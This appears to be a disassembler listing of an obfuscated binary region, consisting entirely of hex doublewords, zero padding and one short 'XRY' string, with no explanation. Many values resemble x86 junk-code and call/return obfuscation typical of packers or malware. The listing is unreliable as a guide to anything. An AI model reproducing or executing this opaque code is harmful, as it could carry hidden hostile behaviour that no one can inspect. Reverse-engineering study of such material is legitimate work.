171D95FFh, 6A0603h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 34EB65C3h dd 0AF9D83B3h, 6AF5F164h, 0A595FF00h, 8B060323h, 9759EBC0h dd 663AE209h, 227E28A5h, 0F1116333h, 9D441FFEh, 28E58E7Ah dd 9E2399BEh, 43737B76h, 0DCC7BFC5h, 5999A46Eh, 0BEE58CA3h dd 17698F4Ch, 1F16B7BAh, 22A18A2Ch, 87B46EACh, 0C88D9052h dd 0C39B4B14h, 0D1E415A2h, 53A88EC7h, 551492D2h, 2329AB0Fh dd 0C65157EEh, 0D5ED48A5h, 708E8D8Dh, 6A060Ah, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 35171AC3h, 38B032B3h, 0F53F4E9h, 0C8Bh, 7E900h, 68B00000h dd 0F7B282BAh, 0D858B07h, 8906031Dh, 320A58Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 9FA0C51Ah, 45A72907h, 9D2985F9h, 603201Dh, 1A6585C7h dd 5D940603h, 85C70000h, 6030071h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 28C35040h dd 29C6F536h, 305719Dh, 21B5FF06h, 66060320h, 0D1FCD681h dd 171D95FFh, 0BD8B0603h, 6031D1Dh, 95FF006Ah, 60323A5h dd 9EBC08Bh, 3EBE470Fh, 89B72380h, 0BE81Ch, 20F0000h, 0D83A94A7h dd 37E61EB1h, 14E8A5h, 98CE0000h, 0A156284Dh, 0D55993B6h dd 0D9AB5F83h, 0DB3C086Fh, 23606F4Ah, 31A3D85h, 61D08B06h dd 0F28B585Eh, 5BF7C081h, 0DE90000h, 53000000h, 0ADCDA452h dd 40E88DB0h, 31D557C2h, 16D0B9h, 958D0900h, 0FF06030Bh dd 1C1BF30h, 0F5A2F91h, 681h, 59BD8900h, 81060324h, 15D360EAh dd 158B0F33h, 0E9000000h, 10h, 32A5F084h, 4570C662h, 6E3EE4DCh dd 52A7F016h, 2E77EA81h, 0BF664418h, 0C281952Fh, 5A8C6A54h dd 0E8831089h, 0BE665601h, 485FDC7Bh, 0BD8B4848h, 6030B25h dd 0A0850F49h, 8BFFFFFFh, 320BDB5h, 4F8D8D06h, 0F060A72h dd 8D89F0B7h, 60320A5h, 0D4EB8166h, 14E93Ah, 8AF20000h dd 759866B7h, 0E03841A7h, 755481F0h, 0C5A3203Bh, 85C74BDFh dd 6031A65h, 5DF4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0DEC35545h, 24A943F7h, 0E9E51063h, 8 dd 8F515E1Dh, 0A14728A4h, 7185C7h, 603h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 994D9BC3h, 0CF7BE250h, 0FD9589C7h, 0FF060318h, 3217DB5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 0FF64A200h, 3171D95h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0BD0D068Fh dd 0CEAF47B6h, 7E7A6BBEh, 0FF006A20h, 323A595h, 0EBC08B06h dd 61685D6Bh, 0BE9BF8AFh, 78F4402Ah, 4322EE34h, 0F4A722AAh dd 0CCD418C1h, 0C04852EFh, 0E70F41B4h, 0F486C660h, 7E62E16h dd 783869B6h, 45A253B8h, 227C8836h, 0BF225239h, 0F39A245Ah dd 5702DF86h, 5444715h, 9B21D710h, 98490251h, 5746E0FEh dd 6117D679h, 2F972DBCh, 92DB2461h, 2C2414E3h, 97C42719h dd 1C41A37Ch, 3222778Eh, 0C08Bh, 199h dup(0) dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0D2CDC357h, 827AD95Ch, 8B0F1FF2h dd 8, 0DA8B6660h, 61F08B66h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 6AC35747h, 0FE9F5h, 0D6D50000h dd 1FAABE1Bh, 7370850h, 531C94F1h, 6A9DA6h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 70BA46C3h dd 3721DBA9h, 0E96060F6h, 14h, 2E832E3Dh, 8F5CE829h, 728F0FF9h dd 0AA6C173Bh, 162A5C15h, 10E9h, 8FA1A100h, 0C76A5E74h dd 938169C1h, 5ABECB92h, 0F78B61DDh, 13880F61h, 0E9000000h dd 0Eh, 78E6C7Bh, 0CD47B4AEh, 0B0C0E4BEh, 6A614E86h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 375EC350h, 109E40Dh, 3F5A50E1h, 12E9F8h, 0F89E0000h dd 8901E160h, 0BDDC0C76h, 0D8BFB08Fh, 0EC7A0B3Ch, 4401F85Dh dd 840F0824h, 12h, 0C870Fh, 7E90000h, 0F000000h, 125F741Eh dd 0F58E3F0h, 1281h, 0DE900h, 3E720000h, 7085CDECh, 7DF90D8Ah dd 9DB42C51h, 57006AC3h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 0F5091B57h, 0DABF0F60h, 6117C980h dd 8C0FC08Bh, 4, 0B05FB966h, 72322ABBh, 0FCE28A2Fh, 0BE9h dd 62C8BB00h, 10A1E834h, 76D73FB3h, 0BDC28166h, 0C88B6622h dd 0EC1E33B9h, 0E7B8661Dh, 11E940h, 0E67C0000h, 9CA1BC35h dd 0CA94F719h, 7D0E20B0h, 66A393C0h, 0E85444BFh, 10h, 0B4833C90h dd 83480B5Ah, 28469B20h, 77F4AD09h, 0F7B70F60h, 61D3BF0Fh dd 18A0F58h, 0F9000000h, 3EC657B9h, 0BB595747h, 7DB9C505h dd 5256D78Bh, 5B5AFE8Ah, 0B97BE380h, 68C35CA5h, 0B966A8B3h dd 8B6619E2h, 70C781D7h, 81204E09h, 3476BFD7h, 0F2BF0F58h dd 0FCC6B70Fh, 7E8D08Bh, 49000000h, 44859988h, 0B96655C3h dd 0F5EF6D1h, 488h, 0ECBB6600h, 4D08120h, 0F7AC1B8h, 1187h dd 6E800h, 54760000h, 0A8B45980h, 5472BCBAh, 7EB25854h dd 850F6060h, 0 dd 61C6BF0Fh, 6661CC8Ah, 66952DBFh, 520DC981h, 9AF28166h dd 12E832h, 23B70000h, 0D6ADC39Ch, 2036AD23h, 0E2439A54h dd 1804F53Ch, 0E70BF66h, 2840F5Bh, 8B000000h, 0EE9DAh dd 2B100000h, 8358353Ah, 38883B0h, 27B2D233h, 0E9F28B66h dd 0Ah, 6FFBE447h, 3E53B45Ah, 0BF6617C3h, 8166EECAh, 665623EFh dd 0D279D081h, 5840Fh, 81660000h, 8153BBC7h, 340F3BE2h dd 11F7814Ah, 0F96F2F87h, 26BBEE8Ah, 502100E4h, 14E9h dd 0C6885000h, 8082307Eh, 590C8947h, 80A686D8h, 4FBBDBFBh dd 0DE95F49h, 59000000h, 0BFADB8Ch, 0DAE9E6A8h, 16C4C85Dh dd 4AA74AB8h, 0F28B6634h, 14E960h, 0E9CA0000h, 0A22A3056h dd 4F3A05F6h, 734561DEh, 99303BE5h, 0BA667D9Dh, 60611ABCh dd 0FE8h, 502A6E00h, 0BB776DEDh, 899E6C6Bh, 0A754EB45h dd 0E95F6160h, 0Ch, 3C117408h, 8C41B332h, 0DC416323h, 0CB8B6661h dd 0E850C28Ah, 13h, 0D822D51Eh, 0A8D05649h, 31574E35h dd 5AB0C4B2h, 0E965C01Fh, 13h, 0D94D5B04h, 819AE2A9h, 99B523DEh dd 0AED46228h, 5A4A47EBh, 0FAB70F59h, 7DA594BEh, 8133B13Ch dd 77AE9BD0h, 0F860524Bh, 0D488BB66h, 8B665861h, 0FBBF0FFBh dd 12E9h, 0D9287600h, 0B02D37FEh, 0F372370Dh, 705CDB7Eh dd 66BF401Bh, 0C01ACF81h, 0B5F38B66h, 13E874h, 0BBB20000h dd 0B44E4084h, 0D957A6A7h, 90D2B973h, 0E5FE170Dh, 0BB665E98h dd 6E91200h, 86000000h, 600E2DDDh, 0AE9A7h, 763C0000h dd 415F3919h, 0B7FBCC80h, 8E9h, 750EA800h, 561B6EBDh, 10E982h dd 99580000h, 0B437BFF5h, 0D5E50DBEh, 0EFDB3F07h, 6FB1F6EBh dd 0D68166F8h, 7E9D4ACh, 0AB000000h, 3E0B60C2h, 8C0FB54Bh dd 2, 8AF9DA8Bh, 0EA8166F3h, 6656D056h, 4925E981h, 0F6EA815Bh dd 0F2E429Ch, 1C83h, 14E800h, 108E0000h, 0D3797AA6h, 1A4F3622h dd 7CF4747Dh, 2A9B046Eh, 6160B77Bh, 0D8B70F5Ah, 0E9FEBF0Fh dd 0Eh, 910E2CA3h, 0BC936BA0h, 750647E7h, 0C8810F45h, 1CD998C5h dd 13E9h, 0B7EA5900h, 2B15B3C6h, 0F7B93E09h, 0C8A42F34h dd 27A4DC05h, 0F88B65B3h, 0B866DA8Bh, 81F996D1h, 0D21E45D8h dd 38E0F18h, 0F000000h, 0D780D6BFh, 0E40BB8D1h, 0DE94FBAh dd 0E5000000h, 6FAA2E12h, 14C158D3h, 0D56E0F52h, 5BECBE66h dd 5E9h, 4424AC00h, 8166A600h, 60DC99D7h, 2830Fh, 0C7B60000h dd 12E852h, 7D9B0000h, 3CDCA8Bh, 1F68BBA6h, 0B3BE820Eh dd 0A3AB398Dh, 66615A59h, 0B01CE681h, 2850Fh, 74B40000h dd 1E8C0Fh, 0EE80000h, 48000000h, 11463201h, 7483FFEh dd 0F733F638h, 5E97Eh, 0BB030000h, 5EE1A2D7h, 38F0F52h dd 66000000h, 0F58CA8Bh, 178Dh, 0CE800h, 11FF0000h, 864EE295h dd 941881CCh, 8166D0D5h, 5EE40DD8h, 0E9AEDE80h, 9, 0F88F75F0h dd 0C9FE13FBh, 0ECD8815Dh, 0B96886CAh, 3B1FE5A2h, 8D2A2DB8h dd 0DE947h, 5E0C0000h, 7FCA4D32h, 0A8C02CDDh, 0F3DC445h dd 85h, 0A8AABA00h, 6E8780Ah, 84000000h, 7EFFBE16h, 6E95E4Fh dd 0E8000000h, 6DB31E34h, 816656EDh, 5EBB5DE9h, 0E8D08B66h dd 5, 9BC1493Dh, 1CEF8131h, 5822CB43h, 0C924B966h, 0E9C7BF0Fh dd 0Eh, 0DA1A9A95h, 0C3E70820h, 0A55C5E0Eh, 0BF0F8CE6h dd 35DA80F8h, 5C02D181h, 0BB66747Ah, 800FF787h, 0Eh, 8E8h dd 0CD298D00h, 0CD3D6C60h, 81665EACh, 0F5C979CBh, 0BF0F1DB3h dd 0BE9C9h, 0D0540000h, 1B3F4746h, 6D178251h, 0F18B6069h dd 13E9h, 176EA100h, 507A1729h, 3FA587DDh, 426C8F29h, 0CCC53EFDh dd 13E961h, 0CEAB0000h, 620A9C9Ch, 10B1526Eh, 733075A3h dd 0FCA532E6h, 51A5B418h, 3880Fh, 8B660000h, 0E8515AF9h dd 0Fh, 4C92704h, 1A93C9FCh, 65E03379h, 60FAB899h, 805B5861h dd 0BF661BDAh, 0DF81FE08h, 73850231h, 9BB4D081h, 81667045h dd 0FADCBC6h, 1187h, 0CE900h, 43B10000h, 1077BC03h, 4C84F789h dd 0E681006Dh, 13287E99h, 3830Fh, 0E8800000h, 0F4D8812Ch dd 0BE75C42Eh, 0C24B6D9h, 8B669AB0h, 0FFBF0FF3h, 6E9h dd 98CF0600h, 818F5594h, 0D4056BF1h, 14E87Ch, 0AFB00000h dd 0EB7B4E51h, 6A45CEF2h, 0C0B323DCh, 2AFCBA9h, 0AE9D207h dd 0F3000000h, 679CE7BBh, 14697A36h, 0B2B15B7Ah, 13E9h dd 9A715700h, 0CC82443Eh, 0AABB58FDh, 361D6B6Ah, 0F61C8D0h dd 79E28166h, 6E957h, 0EF300000h, 9BA281B6h, 0CEE08166h dd 0E969B4DDh, 12h, 720B54AFh, 71C5F57Fh, 51B89698h, 519C9901h dd 7E9259Dh, 48000000h, 8CDE20E0h, 6E98CD6h, 0C3000000h dd 2EB7C260h, 860FB5h, 0E8000000h, 0Bh, 7B428A4Fh, 5CE3DA6Fh dd 0B6814C78h, 0B7575920h, 0B9665A21h, 66FCE8E5h, 0C68BD18Bh dd 5E9h, 4F02A700h, 0F280A1B6h, 87DE81A4h, 81221674h, 3C5318D7h dd 0FAB70F4Eh, 6E9h, 538FD600h, 50418DABh, 850F59F8h, 11h dd 0CE9h, 971EF000h, 33DE1126h, 0EAB8A9DFh, 0DEB70F20h dd 66CBB70Fh, 812367BBh, 0AC8DB8E0h, 66F28B7Bh, 9E9F88Bh dd 3A000000h, 77858A78h, 7BEF2BE3h, 0FC9CD80h, 380h, 0D08B6600h dd 0FE4E180h, 66F9DAB7h, 0D7BCC281h, 18870Fh, 0CE80000h dd 0CB000000h, 0FD3894BDh, 2A7DC86Ch, 81BFCA8Dh, 0EA00DBCAh dd 6E9590Fh, 0A7000000h, 1C29DA1Dh, 0B8FC60D6h, 55C1CB38h dd 0EE816661h, 7BB55C24h, 8C0FF8F9h, 1, 46BB66F9h, 9CC881E6h dd 660A8310h, 8B53F98Bh, 890F5AF1h, 4, 0CE03B966h, 8B66FC60h dd 46BB61D7h, 665B1CC0h, 0F01FC681h, 0FC2B70Fh, 0FE9C6B7h dd 0E4000000h, 7397416Ch, 0D6E7A5BFh, 0FE82245h, 6650EA04h dd 0F58FA8Bh, 98Fh, 38A0F00h, 66000000h, 0FE9C78Bh, 73000000h dd 0E2878490h, 91623F18h, 0FAA03ACCh, 0F552BE62h, 48A0F58h dd 66000000h, 66A803B9h, 14E8F28Bh, 0BD000000h, 0A4A4CB30h dd 62F16D6Fh, 8CFA4283h, 4274E332h, 662C42B5h, 5FC416BBh dd 5E8h, 6B3BF600h, 810F68ECh, 6, 8C0Fh, 0E95B0000h, 14h dd 0B278920Eh, 4DECBE05h, 0E8D7D154h, 7902A16Ah, 7987210Bh dd 56D7B70Fh, 59CA8B66h, 0B1A2D281h, 0F18B4117h, 9E9h dd 0B2E37000h, 0C38205CEh, 0B866663Bh, 8166A653h, 0E99533D1h dd 14h, 3C141B54h, 0B4F127h, 18A2ACB6h, 651828FFh, 3D872501h dd 2C73BE60h, 0FE956A1h, 0BF000000h, 4A4020E2h, 56DBA8C6h dd 68A4CF42h, 0B7618A3Eh, 0BF66FC76h, 8B664BEBh, 840FF8C3h dd 19h, 11E8h, 534EF900h, 57A08D78h, 198F7C23h, 0DC76D9B0h dd 88B5480Fh, 60CE8A5Fh, 0DE9h, 0C8D20100h, 0C26AEB93h dd 0DCA04C69h, 0B1BFC3F1h, 613F68B5h, 66CEBF0Fh, 0B4F13DBBh dd 53D68B42h, 0BF84A4BAh, 0C7B75A6Eh, 81CBBF0Fh, 48176DDFh dd 81F88A4Eh, 0AB1B17E6h, 0C381F54Dh, 4F34FCA9h, 0BE9h dd 0B2605300h, 0D775489Dh, 8E0234ECh, 890FF960h, 18h, 13E9h dd 0F206EA00h, 0D5AD10DBh, 20F6D7BFh, 0D46B2314h, 0CC09F971h dd 12BE6061h, 0E948483Dh, 0Dh, 7100A50Eh, 0E8E7074Dh, 5105E75Ah dd 0D1816144h, 7473B171h dd 0F9BA6653h, 0F6B35B73h, 6870Fh, 0C7810000h, 6031D3E2h dd 14E8h, 66279B00h, 0E8CB1448h, 78A41F1Eh, 0DFC346C4h dd 0A1D326B9h, 8B58FC89h, 6E9C6h, 4F580000h, 0A181270Ch dd 3860Fh, 8B660000h, 7B7EB8CEh, 0BF0F241Ch, 8D0FF1h, 0E9000000h dd 13h, 8579F41Fh, 0C5775764h, 9C20AEFBh, 8A86646Eh, 66CAC3C3h dd 0F1CFFB9h, 1486h, 0FE900h, 0AC290000h, 360164BFh, 260EBB6Ch dd 0F81297AAh, 128A0F64h, 0E8000000h, 6, 3838A95Fh, 850F40A1h dd 0 dd 0F58525Fh, 1A80h, 0EE800h, 70AF0000h, 2D09A8F4h, 6C935B82h dd 66549C06h, 1620D081h, 605B159Ch, 66EB8A60h, 8061F78Bh dd 0E961BFD9h, 0Eh, 75B95CB2h, 9599B80Eh, 93BF31DAh, 0CA80F3B0h dd 0D0816688h, 0C08190BEh, 14584400h, 14E9h, 0E2592600h dd 0CF36A2EAh, 2FBEC6C8h, 3DE8408Eh, 0C1B7CB11h, 0D8BF6679h dd 9E8FCC6h, 0CB000000h, 0C327AE18h, 76D0E4CEh, 849948BEh dd 66575872h, 0C393DF81h, 0B70F605Bh, 0D78166D9h, 66611A41h dd 7096DF81h, 0DE8h, 13B62100h, 0A2D2C30Bh, 0F09435CEh dd 81662A15h, 5E6597C7h, 0A15966B9h, 0E7BA666Fh, 13E941h dd 41520000h, 27DB03Dh, 3949C5BDh, 85E0932Fh, 7B027D5h dd 0F6816690h, 0C781322Ch, 5D01391Ah, 8E9h, 3BFC8E00h dd 0EC230749h, 663EBB40h, 0EA80547Fh, 0A1F38038h, 0E9D7BF0Fh dd 6, 8669AC13h, 8B6690E5h, 0CF8166C1h, 0B966FEB7h, 8B5249C4h dd 0FE8B59DAh, 0DE9h, 0B8182500h, 0B9943CF3h, 0DFB5917Dh dd 8B6033BBh, 38E0FD3h, 80000000h, 66612AE2h, 0E86AE3B8h dd 7, 0C919E658h, 0B57B27D6h, 0EE95F93h, 0A7000000h, 0F5D61715h dd 72B62E66h, 8B7CC7Ch, 48A0F94h, 66000000h, 0F44C1BEh dd 0E84h, 9E900h, 556A0000h, 31A2C705h, 80781217h, 5E888D2h dd 0B000000h, 6B55D81Eh, 5870Fh, 57BE0000h, 59078114h dd 0E984CC80h, 0Ch, 3F426651h, 2E0F126Ch, 48B9D9BDh, 0FE9h dd 8AA5B800h, 8F845820h, 4EE63791h, 0D07A9742h, 3880Fh dd 8B660000h, 0FCD78AD0h, 6E9h, 0CF9B0700h, 660F7367h dd 0CE8BC18Bh, 88C0Fh, 0F600000h, 88h, 860F6100h, 5, 62C88166h dd 0BE6656CCh, 0E95E4AFBh, 0Fh, 637CD785h, 1CD69C28h, 4BFCBE15h dd 8B0C5023h, 0DF8153D8h, 35E331F8h, 14E8515Ah, 7C000000h dd 65D0C93Bh, 1FD49949h, 1369B3DAh, 58361564h, 5E0DCE4Ah dd 66F98A59h, 6BC5D281h, 0C7BF6660h, 0C68B66F5h, 72EF8161h dd 53609763h, 16C88166h, 0BF0F5B35h, 22BE66DAh, 14E86Fh dd 11430000h, 78206AD1h, 2604CB50h, 61DAE570h, 0CD5E6169h dd 0D08B59CFh, 3870F5Eh, 66000000h, 0F52F28Bh, 6659D0B7h dd 0BA66DE8Bh, 12E90947h, 41000000h, 170E1AF6h, 0D41A14C9h dd 827802C6h, 0F08174F8h, 860F60F8h, 6, 830Fh, 0CE810000h dd 57631EDBh, 9E861h, 3BD80000h, 550573E5h, 0F173396h dd 0E85EC6BFh, 9, 0FB6429B2h, 72DC8BEFh, 0CE83Ah, 0F1590000h dd 0D83A3B6h, 0BE6DAD8h, 0B966FE94h, 595ECCABh, 820FA5B3h dd 4, 94E1BE66h, 0E9F18B66h, 11h, 178C555Bh, 0C13124C7h dd 5E4AC833h, 63B1D760h, 5643B90Fh, 0BB661259h, 13E9ADBDh dd 57000000h, 0C83C2701h, 0DFFD7DADh, 81A735F3h, 6F641D21h dd 8B66CAADh, 0C3DBBAC3h, 7BB6496h, 0E923B067h, 10h, 0F3066DA2h dd 0A1C3F032h, 8F255D9h, 0E57777C9h, 66D1BF0Fh, 870FCE8Bh dd 5, 0BD799DBFh, 0BE6CBB74h, 0BF0F2D79h, 5800FCFh, 0BB000000h dd 6EA22E9Eh, 0EAEEFABAh, 0A8C6BB11h, 0CE93342h, 9B000000h dd 0D5F50F3Fh, 0FEFF3E57h, 0F0CEB1Dh, 0A8Dh, 48C0F00h dd 66000000h, 52FF06BEh, 168F0Fh, 11E90000h, 0AE000000h dd 0B16D2F33h, 4976EC99h, 0D634A074h, 0C8081A4h, 0B9BF6658h dd 606057D5h, 61D78B61h, 0EA816659h, 840FD838h, 3, 0F5EF580h dd 810FC6B7h, 5, 0CA790EBEh, 12E96075h, 0F6000000h, 6C6E07Eh dd 2B0D5CC6h, 0E6218861h, 518D3B80h, 0CE99Ch, 6BE40000h dd 0C53638C7h, 4396E534h, 8B61333Eh, 0DA8B66D7h, 9E9h dd 0D366D000h, 0E53CF2E1h, 0FE83B2Eh, 0BB000000h, 0F656677Ch dd 0CC5A5751h, 0B7225A35h, 0E8BBEA0Eh, 5977BD16h, 8E960h dd 3E800000h, 0AE082152h, 8B61B697h, 2840FD3h, 0B4000000h dd 66605115h, 36B4DE81h, 0A4B45B61h, 7E8h, 30CEB700h, 0A14A4DB2h dd 12E9h, 0D0977800h, 7E19B5A3h, 0BC0B4EA1h, 0BF8E74BFh dd 5EC95716h, 7DB5C881h, 2AB809F6h, 0F54634C3h, 0BE9B7B4h dd 23000000h, 614E175Dh, 0EDBBA115h, 66568876h, 585739BBh dd 890FCF8Ah, 0Ch, 5E950h, 5BBD0000h, 5F984524h, 10E8h dd 923D1B00h, 0D648E8C5h, 9E5AF950h, 3C96B4EFh, 68C1B929h dd 605B52D6h, 28C0Fh, 58570000h, 33B9F181h, 0B76149C3h dd 0A6F0809Bh, 81F0BF0Fh, 49AEAEDBh, 80D88B6Fh, 6656D4C0h dd 59AC60BFh, 0BE66CF8Bh, 0F08BF47Dh, 0FFCE480h, 49B4CBBFh dd 7E9h, 0D4CD5500h, 0BB4559A3h, 0CE9h, 214ED700h, 32C4242Ch dd 9D40C94Bh, 0D68B661Eh, 44DB8166h, 0F28B661Fh, 840FFA8Bh dd 1, 8E9F8h, 0C9AC0000h, 86476763h, 605608BBh, 8ECBF181h dd 0BF0F0531h, 665E61D0h, 0F08AFB8Bh, 7E8h, 0E2FB7900h dd 4FD60C4h, 0C3C9BA66h, 0D733BB58h, 0FE850CAh, 0B9000000h dd 78761D2Bh, 864B7156h, 5BD5A1E7h, 810F681Ch, 1, 81665FF5h dd 66DAFDF3h, 0D480C78Bh, 2850F81h, 8B000000h, 0C6B70FD0h dd 0F78B38B0h, 0BE9h, 91507E00h, 6B980CF2h, 439FBC6Bh dd 5E9h, 5DC21600h, 860FC7A0h, 6, 113FEB81h, 0BF665573h dd 8B667048h, 0D88166F3h, 0F681197Dh, 179BA5Ah, 9E9h, 0B3E12200h dd 808BA33Eh, 66601D36h, 921AE281h, 6661CE8Bh, 66D10DBFh dd 885CDF81h, 0FF8DE8Bh, 1387h, 0EE900h, 0C9E50000h, 5841C7EAh dd 5FD20EEFh, 0C1D52720h, 0BE56C480h, 5FEF595Ah, 0BE8h dd 0FE77400h, 8B746AADh, 60251023h, 0F1BF0F59h, 0DC78BB66h dd 9E8h, 0E8657900h, 0AD9215E8h, 0EF80B9CFh, 1BB5590Dh dd 6E9FCh, 94A30000h, 2BBFB936h, 27DED381h, 66521E80h dd 0C853DA81h, 2800F5Eh, 8B000000h, 11E9D3h, 11ED0000h dd 0F1E185Bh, 0DD3A83DAh, 0D90494B9h, 808C0252h, 10E902E0h dd 21000000h, 93348B07h, 7DF66AD7h, 0D07D9EB8h, 0FB86509h dd 58Dh, 8217B800h, 0BE6673B6h, 8B60FA03h, 0C1B70FF0h dd 805F5261h, 850FE4DAh, 19h, 12E960h, 33AC0000h, 0A4D7FD45h dd 0F1237AB0h, 4B02ED8h, 0F1363CF5h, 6E96061h, 8C000000h dd 5E9E7BB3h, 0AE96Ch, 919D0000h, 0C0C5FA55h, 6E42AF8Bh dd 9E96061h, 4C000000h, 0D2E2F1EDh, 50777C2Bh, 810F51h dd 59000000h, 10CD8061h, 0BAA3E880h, 55926341h, 0FA8B6652h dd 3860F59h, 0F000000h, 0EE81F9BFh, 4F807C71h, 8BF98B66h dd 805360DFh, 0F58F8D4h, 0E961C8BFh, 0Bh, 0AF936CEEh, 54B2A13Ah dd 0E82538ACh, 0Ah, 7F819D15h, 9543C30Ah, 8D0F2C4Ch, 0 aXrys db 'XRY',0Bh,0 align 10h dd 0AB1533FCh, 0FDA791DFh, 0F8BA071h, 8Eh, 0E9F78B00h dd 13h, 0E5F2A002h, 9089A344h, 27FAFF5Ah, 1042712Fh, 81A351AAh dd 2A6093D7h, 14E9602Ah, 80000000h, 0A81DBD8Ah, 0A232E518h dd 870840EEh, 0B6894126h, 613846ABh, 8E9h, 367F9D00h, 0BF05BDC2h dd 11E907h, 0A2EF0000h, 0BC805189h, 0E13FAD42h, 7540B26h dd 0E98877C4h, 12h, 0DA0D2587h, 0B2EFACF9h, 0A9414662h dd 0F2F09B3Ah, 23B14595h, 28E0Fh, 0E78A0000h, 0FE9h, 27D09B00h dd 6D547945h, 0A3D09778h, 0A17E19B5h, 3840F60h, 80000000h dd 8166E2C2h, 611C0CEFh, 743232BFh, 98B9B90Ch, 8C0F4C18h dd 0Ah, 4870Fh, 0BF660000h, 8166568Eh, 81FC5BF0h, 0A66CA7C3h dd 12E96Dh, 82700000h, 0E691DC40h, 0C0802570h, 10C602BCh dd 8484EFAEh, 8F0Fh, 30B50000h, 0FF88B66h, 8C0FD2BFh, 3 dd 8BD1BF0Fh, 0BAC880F3h, 0E8DA8B66h, 0Ch, 5112A638h, 50F30C3Bh dd 0D161B2BCh, 0DE0850BFh, 0CE85F12h, 44000000h, 0F0E5A6E5h dd 1181F75Ch, 0E93F7DA7h, 5, 288E479Fh, 0BF0F5F01h, 0D9B70FF6h dd 8E0FC78Bh, 5, 1C34AFB8h, 66CF8B78h, 2B38C681h, 57F68060h dd 61F9F681h, 0E8611F88h, 11h, 150450CBh, 9A9B9456h, 61081AA0h dd 8F054DCFh, 3EEE8108h, 5F56F803h, 11E9h, 33D67D00h, 1AAB0AD7h dd 651212A1h, 18B3DBF3h, 0BB66B006h, 0E1814C8Eh, 5D971877h dd 14E9h, 9B33DA00h, 25CD8C6Bh, 0F9E4BDDBh, 0BC9CEE46h dd 5662A25Eh, 81FE8BBBh, 2453E0E8h, 0B6FE8B33h, 0CB8665Ah dd 6C1814Dh, 51499C49h, 5AD0BF0Fh, 2880F52h, 60000000h dd 0BF0F5861h, 0AE960D2h, 5A000000h, 0D28146A2h, 4BE24048h dd 8E96119h, 12000000h, 2CF574BCh, 0FE78B98h, 38Fh, 0FCF08000h dd 8BF5FD8Ah, 58D0FD1h, 66000000h, 0F97DC181h, 1870Fh dd 8BF80000h, 81CBB4FEh, 23625DFh, 0CD62B940h, 8166472Fh dd 606AD3EEh, 0BE8h, 4737C800h, 0CBA81656h, 9CECFFBCh dd 8A595B52h, 0CB8061DDh, 0DF8BFC6Dh, 6660FA8Ah, 0BA66C68Bh dd 0E961ECFEh, 0Fh, 419F8AEAh, 954F37C0h, 647A5330h, 81FD1712h dd 5D6C3BD1h, 0B70FF521h, 0FFCF8D1h, 0C8Ch, 7E900h, 0C0720000h dd 3888923Eh, 2810F91h, 8B000000h, 5E9D3h, 2F0000h, 0B964669Bh dd 6F267F80h, 6672B0F9h, 0E957CA8Bh, 11h, 0B10E96Ch, 0CE39F60Eh dd 102D1742h, 3C25D44Fh, 0B70F5F46h, 0E5BE66C8h, 96DD80E2h dd 0D3B70F57h, 0BAF78B58h, 8312ADCh, 11E8h, 20942500h dd 0C9E5A942h, 5841C7EAh, 5FD20EEFh, 890F2720h, 3, 5E4FF780h dd 0A7AD93BAh, 48BA662Ah, 7E960A8h, 49000000h, 0E59EB0C8h dd 42BB5F78h, 613CA216h, 0E9F1B70Fh, 10h, 16EC387h, 0D41B1418h dd 1D2A2DE1h, 0E11B67Fh, 0A9F8E781h, 6060594Fh, 0E891E780h dd 12h, 0A80CA298h, 6C50C3D1h, 2E09BB0Dh, 575F5FD7h, 61597EC8h dd 13E9h, 38FCC500h, 74A7A215h, 577068B6h, 0ACDDFF73h dd 0E187D913h, 0AE9F561h, 43000000h, 0DB188EF7h, 4AFF6AE6h dd 0CF8B66FBh, 6880Fh, 0EA810000h, 67ABEE25h, 8F0FBDB0h dd 5, 19E78166h, 0B866601Ch, 11E87485h, 0A0000000h, 7E045FCh dd 8A8BBDC0h, 47405356h, 4A9B64C9h, 666159F5h, 0E973B0BEh dd 0Ch, 0D0C351CAh, 0D59A9E5Fh, 606FE1C6h, 5E9h, 510AE500h dd 0CE9FB83h, 67000000h, 57D1D48Bh, 1B5FBDAh, 8BAFC115h dd 816660FAh, 0FACAFC7h, 58Fh, 0D6816600h, 0BB61121Eh dd 59DD486Ah, 2870Fh, 0DC8A0000h, 0FE9h, 0A228D900h, 0FB004FFCh dd 0DDBDCA5Bh, 4EF80CD2h, 14E9h, 1F4BF800h, 8F2495CBh dd 1D95DA31h, 24036B30h, 0B58A086Dh, 3EE81FAh, 6066DBBEh dd 0FF1BF0Fh, 487h, 0C1BA6600h, 0F606157h, 8166FBBFh, 61ED93C1h dd 0EE9h, 0D09E7500h, 6EA06E20h, 0E5475C20h, 575F7D87h dd 3BB1F281h, 0B55B1F26h, 850F8Eh, 56000000h, 5BF1B70Fh dd 0AC61B966h, 81BCD580h, 0EEF304CEh, 0F7B70F65h, 18C98166h dd 0BBF6646h, 66D08B51h, 8166D08Bh, 0E9B4E6EAh, 8, 3609B3FAh dd 0F3F6F8E4h, 9E9h, 6EF9FC00h, 5693C59Fh, 8166E7AAh, 0E9942AE7h dd 8, 1250E9ACh, 0B60C2ABh, 4F32B966h, 190AD781h, 12E930EDh dd 0F000000h, 6E49C093h, 6F56BE2Fh, 2B16EBCFh, 0D1AB17D0h dd 0D1BA66FCh, 4742BE3Dh, 0B70F6705h, 5CC980D6h, 52F5DC8Ah dd 5F58F553h, 13890Fh, 0EE90000h, 6C000000h, 0DD7B0844h dd 405F3270h, 7753DBD3h, 0C68166D1h, 0FE86494h, 82000000h dd 